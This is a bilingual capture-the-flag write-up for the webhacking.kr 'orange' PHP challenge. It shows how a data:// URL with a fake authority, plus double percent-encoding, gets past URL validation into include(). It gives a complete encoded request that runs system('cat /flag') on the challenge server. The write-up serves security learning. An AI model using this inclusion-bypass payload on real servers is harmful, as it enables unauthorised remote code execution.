Webhacking.kr orange
Challenge
The page takes a
urlparameter, appends.txt, and includes it after a stack of URL checks.页面接收
url参数,追加.txt后经过一串 URL 校验再include。
1 | http://webhacking.kr:10009/ |
Analysis
?view_source=1 直接给出源码:
1 |
|
页面提供 PHP 版本和目录清单;直接访问 .txt 文件会返回
PHP 源码,通过 url 参数包含同一文件则会执行其中的代码:
1 | ?view_version=1 -> 7.3.8-1+ubuntu18.04.1+deb.sury.org+1 |
meow meow 的回显说明 HTTP stream 可以被
include,即题目环境允许 URL inclusion。校验作用于追加
.txt 后的 $url:
filter_var(..., FILTER_VALIDATE_URL)检查 URL 格式。- 第一条正则要求匹配
http://webhacking.kr:10009/,没有锚定字符串开头。 - 第二条正则禁用
@、#、括号、$、反引号、单双引号、_、花括号和?。 parse_url()要求 host 为webhacking.kr、port 为10009,且不含 user/pass。
这些检查没有限制 scheme。将 http://webhacking.kr:10009/
放入 path 仍能满足正则,前面的 authority 则用于通过
parse_url() 检查。最终 include 使用哪个 stream
wrapper,由 scheme 决定。
Solution
RFC 2397 定义的 data URL 形式为
data:[<mediatype>][;base64],<data>。PHP 支持
data:// 写法,并接受下面这个包含伪装 authority 的输入:
1 | data://webhacking.kr:10009/http://webhacking.kr:10009/,HELLO |
追加 .txt 后,filter_var 接受该
URL,第一条正则命中 path 内的 HTTP
URL,黑名单没有命中。parse_url() 将其解析为:
1 | scheme = data |
data:// wrapper
将逗号前的部分作为媒体类型信息处理,从逗号后的 data 读取内容,不会向上述
host 发起 HTTP 请求。此时 .txt 已经追加到 data 末尾,所以
include 读取并输出 HELLO.txt。这里利用的是
parse_url() 与 stream wrapper
对同一字符串的不同解释;伪装的 authority 并非 RFC 2397
定义的网络地址。
未使用 ;base64 时,wrapper 会对 data 做一次 URL 解码。将
PHP 代码中的禁用字符写为百分号编码,校验阶段便只会看到
%28、%29、%27、%3F
等文本。请求 query 还会先经过一次解码,因此其中的 %
必须再编码为 %25:%2528 →
$_GET['url'] 中的 %28 → wrapper 内容中的
(。
完整 payload 在各阶段的值:
1 | $_GET['url'] = data://webhacking.kr:10009/http://webhacking.kr:10009/,%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E |
请求(query 里的 % 再编一次,即 %3C →
%253C):
1 | GET /?url=data%3A%2F%2Fwebhacking.kr%3A10009%2Fhttp%3A%2F%2Fwebhacking.kr%3A10009%2F%2C%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%253F%253E |
返回:
1 | FLAG{*****************} |
include 执行解码后的
<?php system('cat /flag');?>,读取
/flag。闭合标签 ?> 使后缀 .txt
位于 PHP 代码之外,作为普通文本输出,因此无需截断后缀。该链依赖
allow_url_fopen 和 allow_url_include
开启,以及 system() 可用。